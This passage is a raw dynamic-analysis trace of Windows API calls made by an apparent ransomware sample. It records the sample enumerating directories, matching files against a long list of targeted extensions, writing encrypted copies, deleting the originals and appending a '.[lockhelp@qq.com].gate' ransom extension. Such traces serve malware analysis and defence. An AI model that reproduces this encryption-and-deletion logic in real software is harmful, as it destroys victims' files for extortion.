dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0113.093] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=1150) returned 1 [0113.093] CloseHandle (hObject=0x350) returned 1 [0113.094] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0113.094] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.094] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0113.094] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.094] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.094] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0113.094] GetLastError () returned 0x0 [0113.094] ReadFile (in: hFile=0x350, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x47e, lpOverlapped=0x0) returned 1 [0113.224] WriteFile (in: hFile=0x32c, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0x480, lpOverlapped=0x0) returned 1 [0113.225] ReadFile (in: hFile=0x350, lpBuffer=0x3cf7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.225] WriteFile (in: hFile=0x32c, lpBuffer=0x3cf7020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf7020*, lpNumberOfBytesWritten=0x312fc94*=0xf4, lpOverlapped=0x0) returned 1 [0113.225] SetEndOfFile (hFile=0x32c) returned 1 [0113.225] CloseHandle (hObject=0x32c) returned 1 [0113.225] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.226] SetEndOfFile (hFile=0x350) returned 1 [0113.226] CloseHandle (hObject=0x350) returned 1 [0113.226] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.227] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0113.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0113.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0113.227] lstrlenW (lpString=".doc") returned 4 [0113.227] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0113.227] lstrlenW (lpString=".docx") returned 5 [0113.227] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0113.227] lstrlenW (lpString=".pdf") returned 4 [0113.227] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0113.227] lstrlenW (lpString=".xls") returned 4 [0113.227] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0113.227] lstrlenW (lpString=".xlsx") returned 5 [0113.227] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0113.227] lstrlenW (lpString=".ppt") returned 4 [0113.227] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0113.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0113.227] lstrlenW (lpString=".zip") returned 4 [0113.227] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0113.228] lstrlenW (lpString=".rar") returned 4 [0113.228] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0113.228] lstrlenW (lpString=".bz2") returned 4 [0113.228] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0113.228] lstrlenW (lpString=".7z") returned 3 [0113.228] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0113.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0113.228] lstrlenW (lpString=".dbf") returned 4 [0113.228] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0113.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0113.228] lstrlenW (lpString=".1cd") returned 4 [0113.228] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0113.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0113.228] lstrlenW (lpString=".jpg") returned 4 [0113.228] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0113.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0113.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0113.228] lstrlenW (lpString=".doc") returned 4 [0113.228] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0113.228] lstrlenW (lpString=".docx") returned 5 [0113.228] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0113.228] lstrlenW (lpString=".pdf") returned 4 [0113.228] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0113.228] lstrlenW (lpString=".xls") returned 4 [0113.228] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0113.228] lstrlenW (lpString=".xlsx") returned 5 [0113.228] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0113.229] lstrlenW (lpString=".ppt") returned 4 [0113.229] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0113.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0113.229] lstrlenW (lpString=".zip") returned 4 [0113.229] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0113.229] lstrlenW (lpString=".rar") returned 4 [0113.229] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0113.229] lstrlenW (lpString=".bz2") returned 4 [0113.229] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0113.229] lstrlenW (lpString=".7z") returned 3 [0113.229] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0113.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0113.229] lstrlenW (lpString=".dbf") returned 4 [0113.229] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0113.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0113.229] lstrlenW (lpString=".1cd") returned 4 [0113.229] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0113.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0113.229] lstrlenW (lpString=".jpg") returned 4 [0113.229] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0113.229] lstrcmpiW (lpString1=".mzz", lpString2=".gate") returned 1 [0113.229] lstrlenW (lpString="netfx_Extended.mzz") returned 18 [0113.229] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0113.247] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=43131591) returned 1 [0113.247] CloseHandle (hObject=0x32c) returned 1 [0113.248] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0113.248] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.248] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0113.250] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0113.250] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0x0) returned 1 [0113.250] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0113.250] ReadFile (in: hFile=0x32c, lpBuffer=0x3cf7058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3cf7058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0113.270] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0113.270] ReadFile (in: hFile=0x32c, lpBuffer=0x3d37058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d37058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0113.471] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.471] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1 [0113.472] ReadFile (in: hFile=0x32c, lpBuffer=0x3d77058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d77058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1 [0113.500] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.500] WriteFile (hFile=0x32c, lpBuffer=0x3cf7020, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x312fca8, lpOverlapped=0x0) Thread: id = 19 os_tid = 0xc38 [0109.635] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c10938 [0109.636] lstrlenW (lpString="C:") returned 2 [0109.636] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x326fcf8 | out: lpFindFileData=0x326fcf8) returned 0x5c9698 [0109.636] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0109.636] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0109.636] lstrlenW (lpString="$GetCurrent") returned 11 [0109.636] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0109.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c20940 [0109.636] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0109.636] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 0x5c9a58 [0109.642] FindNextFileW (in: hFindFile=0x5c9a58, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0109.643] FindNextFileW (in: hFindFile=0x5c9a58, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0109.643] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0109.643] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0109.643] lstrlenW (lpString="Logs") returned 4 [0109.643] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0109.643] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0109.644] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0109.644] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250c80 [0109.784] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0109.800] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0109.801] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0109.801] lstrlenW (lpString=".1cd") returned 4 [0109.801] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0109.801] lstrlenW (lpString=".3ds") returned 4 [0109.801] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0109.801] lstrlenW (lpString=".3fr") returned 4 [0109.801] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0109.801] lstrlenW (lpString=".3g2") returned 4 [0109.801] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0109.801] lstrlenW (lpString=".3gp") returned 4 [0109.801] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0109.801] lstrlenW (lpString=".7z") returned 3 [0109.801] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0109.801] lstrlenW (lpString=".accda") returned 6 [0109.801] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0109.801] lstrlenW (lpString=".accdb") returned 6 [0109.801] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0109.801] lstrlenW (lpString=".accdc") returned 6 [0109.801] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0109.801] lstrlenW (lpString=".accde") returned 6 [0109.801] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0109.801] lstrlenW (lpString=".accdt") returned 6 [0109.802] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0109.802] lstrlenW (lpString=".accdw") returned 6 [0109.802] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0109.802] lstrlenW (lpString=".adb") returned 4 [0109.802] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0109.802] lstrlenW (lpString=".adp") returned 4 [0109.802] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0109.802] lstrlenW (lpString=".ai") returned 3 [0109.802] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0109.802] lstrlenW (lpString=".ai3") returned 4 [0109.802] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0109.802] lstrlenW (lpString=".ai4") returned 4 [0109.802] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0109.802] lstrlenW (lpString=".ai5") returned 4 [0109.802] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0109.802] lstrlenW (lpString=".ai6") returned 4 [0109.802] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0109.802] lstrlenW (lpString=".ai7") returned 4 [0109.802] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0109.802] lstrlenW (lpString=".ai8") returned 4 [0109.802] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0109.802] lstrlenW (lpString=".anim") returned 5 [0109.802] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0109.802] lstrlenW (lpString=".arw") returned 4 [0109.802] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0109.802] lstrlenW (lpString=".as") returned 3 [0109.802] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0109.802] lstrlenW (lpString=".asa") returned 4 [0109.802] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0109.802] lstrlenW (lpString=".asc") returned 4 [0109.802] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0109.802] lstrlenW (lpString=".ascx") returned 5 [0109.802] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0109.802] lstrlenW (lpString=".asm") returned 4 [0109.803] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0109.803] lstrlenW (lpString=".asmx") returned 5 [0109.803] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0109.803] lstrlenW (lpString=".asp") returned 4 [0109.803] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0109.803] lstrlenW (lpString=".aspx") returned 5 [0109.803] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0109.803] lstrlenW (lpString=".asr") returned 4 [0109.803] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0109.803] lstrlenW (lpString=".asx") returned 4 [0109.803] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0109.803] lstrlenW (lpString=".avi") returned 4 [0109.803] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0109.803] lstrlenW (lpString=".avs") returned 4 [0109.803] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0109.803] lstrlenW (lpString=".backup") returned 7 [0109.803] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0109.803] lstrlenW (lpString=".bak") returned 4 [0109.803] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0109.803] lstrlenW (lpString=".bay") returned 4 [0109.803] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0109.803] lstrlenW (lpString=".bd") returned 3 [0109.803] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0109.803] lstrlenW (lpString=".bin") returned 4 [0109.803] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0109.803] lstrlenW (lpString=".bmp") returned 4 [0109.803] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0109.803] lstrlenW (lpString=".bz2") returned 4 [0109.803] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0109.803] lstrlenW (lpString=".c") returned 2 [0109.803] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0109.803] lstrlenW (lpString=".cdr") returned 4 [0109.803] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0109.803] lstrlenW (lpString=".cer") returned 4 [0109.803] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0109.803] lstrlenW (lpString=".cf") returned 3 [0109.804] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0109.804] lstrlenW (lpString=".cfc") returned 4 [0109.804] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0109.804] lstrlenW (lpString=".cfm") returned 4 [0109.804] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0109.804] lstrlenW (lpString=".cfml") returned 5 [0109.804] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0109.804] lstrlenW (lpString=".cfu") returned 4 [0109.804] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0109.804] lstrlenW (lpString=".chm") returned 4 [0109.804] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0109.804] lstrlenW (lpString=".cin") returned 4 [0109.804] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0109.804] lstrlenW (lpString=".class") returned 6 [0109.804] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0109.804] lstrlenW (lpString=".clx") returned 4 [0109.804] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0109.804] lstrlenW (lpString=".config") returned 7 [0109.804] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0109.804] lstrlenW (lpString=".cpp") returned 4 [0109.804] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0109.804] lstrlenW (lpString=".cr2") returned 4 [0109.804] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0109.804] lstrlenW (lpString=".crt") returned 4 [0109.804] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0109.804] lstrlenW (lpString=".crw") returned 4 [0109.804] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0109.804] lstrlenW (lpString=".cs") returned 3 [0109.804] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0109.804] lstrlenW (lpString=".css") returned 4 [0109.804] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0109.804] lstrlenW (lpString=".csv") returned 4 [0109.804] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0109.804] lstrlenW (lpString=".cub") returned 4 [0109.804] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0109.804] lstrlenW (lpString=".dae") returned 4 [0109.805] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0109.805] lstrlenW (lpString=".dat") returned 4 [0109.805] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0109.805] lstrlenW (lpString=".db") returned 3 [0109.805] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0109.805] lstrlenW (lpString=".dbf") returned 4 [0109.805] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0109.805] lstrlenW (lpString=".dbx") returned 4 [0109.805] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0109.805] lstrlenW (lpString=".dc3") returned 4 [0109.805] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0109.805] lstrlenW (lpString=".dcm") returned 4 [0109.805] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0109.805] lstrlenW (lpString=".dcr") returned 4 [0109.805] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0109.805] lstrlenW (lpString=".der") returned 4 [0109.805] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0109.805] lstrlenW (lpString=".dib") returned 4 [0109.805] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0109.805] lstrlenW (lpString=".dic") returned 4 [0109.805] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0109.805] lstrlenW (lpString=".dif") returned 4 [0109.805] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0109.805] lstrlenW (lpString=".divx") returned 5 [0109.805] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0109.805] lstrlenW (lpString=".djvu") returned 5 [0109.805] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0109.805] lstrlenW (lpString=".dng") returned 4 [0109.805] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0109.805] lstrlenW (lpString=".doc") returned 4 [0109.805] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0109.805] lstrlenW (lpString=".docm") returned 5 [0109.805] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0109.805] lstrlenW (lpString=".docx") returned 5 [0109.806] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0109.806] lstrlenW (lpString=".dot") returned 4 [0109.806] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0109.806] lstrlenW (lpString=".dotm") returned 5 [0109.806] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0109.806] lstrlenW (lpString=".dotx") returned 5 [0109.806] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0109.806] lstrlenW (lpString=".dpx") returned 4 [0109.806] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0109.806] lstrlenW (lpString=".dqy") returned 4 [0109.806] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0109.806] lstrlenW (lpString=".dsn") returned 4 [0109.806] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0109.806] lstrlenW (lpString=".dt") returned 3 [0109.806] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0109.806] lstrlenW (lpString=".dtd") returned 4 [0109.806] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0109.806] lstrlenW (lpString=".dwg") returned 4 [0109.806] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0109.806] lstrlenW (lpString=".dwt") returned 4 [0109.806] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0109.806] lstrlenW (lpString=".dx") returned 3 [0109.806] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0109.806] lstrlenW (lpString=".dxf") returned 4 [0109.806] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0109.806] lstrlenW (lpString=".edml") returned 5 [0109.806] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0109.806] lstrlenW (lpString=".efd") returned 4 [0109.806] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0109.806] lstrlenW (lpString=".elf") returned 4 [0109.806] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0109.807] lstrlenW (lpString=".emf") returned 4 [0109.807] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0109.807] lstrlenW (lpString=".emz") returned 4 [0109.807] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0109.807] lstrlenW (lpString=".epf") returned 4 [0109.807] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0109.807] lstrlenW (lpString=".eps") returned 4 [0109.807] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0109.807] lstrlenW (lpString=".epsf") returned 5 [0109.807] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0109.807] lstrlenW (lpString=".epsp") returned 5 [0109.807] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0109.807] lstrlenW (lpString=".erf") returned 4 [0109.807] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0109.807] lstrlenW (lpString=".exr") returned 4 [0109.807] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0109.807] lstrlenW (lpString=".f4v") returned 4 [0109.807] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0109.807] lstrlenW (lpString=".fido") returned 5 [0109.807] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0109.807] lstrlenW (lpString=".flm") returned 4 [0109.807] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0109.807] lstrlenW (lpString=".flv") returned 4 [0109.807] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0109.807] lstrlenW (lpString=".frm") returned 4 [0109.807] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0109.807] lstrlenW (lpString=".fxg") returned 4 [0109.807] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0109.807] lstrlenW (lpString=".geo") returned 4 [0109.807] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0109.807] lstrlenW (lpString=".gif") returned 4 [0109.807] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0109.807] lstrlenW (lpString=".grs") returned 4 [0109.808] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0109.808] lstrlenW (lpString=".gz") returned 3 [0109.808] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0109.808] lstrlenW (lpString=".h") returned 2 [0109.808] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0109.808] lstrlenW (lpString=".hdr") returned 